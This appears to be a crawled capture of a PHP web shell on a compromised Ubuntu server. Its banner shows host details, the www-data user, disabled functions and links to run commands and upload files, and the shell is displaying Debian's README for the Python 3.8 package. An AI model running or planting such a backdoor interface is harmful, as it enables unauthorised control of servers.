Server IP : 128.199.20.84 / Your IP : 172.69.17.105 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/doc/python3-json-pointer/../python3.8/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
Python 3.8 for Debian --------------------- This is Python 3.8 packaged for Debian. This document contains information specific to the Debian packages of Python 3.8. [TODO: This document is not yet up-to-date with the packages.] Currently, it features those two main topics: 1. Release notes for the Debian packages: 2. Notes for developers using the Debian Python packages: Release notes and documentation from the upstream package are installed in /usr/share/doc/python3.8/. There's a mailing list for discussion of issues related to Python on Debian systems: [email protected]. The list is not intended for general Python problems, but as a forum for maintainers of Python-related packages and interested third parties. 1. Release notes for the Debian packages: Results of the regression test: ------------------------------ The package does successfully run the regression tests for all included modules. Seven packages are skipped since they are platform-dependent and can't be used with Linux. 2. Notes for developers using the Debian python packages: See the draft of the Debian Python policy in /usr/share/doc/python. distutils can be found in the python3.8-dev package. Development files like the python library or Makefiles can be found in the python3.8-dev package in /usr/lib/python3.8/config. Therefore, if you need to install a pure python extension, you only need python3.8. On the other hand, to install a C extension, you need python3.8-dev. a) Locally installed Python add-ons /usr/local/lib/python3.8/site-packages/ /usr/local/lib/site-python/ (version-independent modules) b) Python add-ons packaged for Debian /usr/lib/python3.8/site-packages/ /usr/lib/site-python/ (version-independent modules) Note that no package must install files directly into /usr/lib/python3.8/ or /usr/local/lib/python3.8/. Only the site-packages directory is allowed for third-party extensions. Use of the new `package' scheme is strongly encouraged. The `ni' interface is obsolete in python 1.5. Header files for extensions go into /usr/include/python3.8/. Installing extensions for local use only: ---------------------------------------- Consider using distutils ... Most extensions use Python's Makefile.pre.in. Note that Makefile.pre.in by default will install files into /usr/lib/, not into /usr/local/lib/, which is not allowed for local extensions. You'll have to change the Makefile accordingly. Most times, "make prefix=/usr/local install" will work. Packaging python extensions for Debian: -------------------------------------- Maintainers of Python extension packages should read /usr/share/doc/python/python-policy.txt.gz 03/09/98 Gregor Hoffleit <[email protected]> Last change: 2001-12-14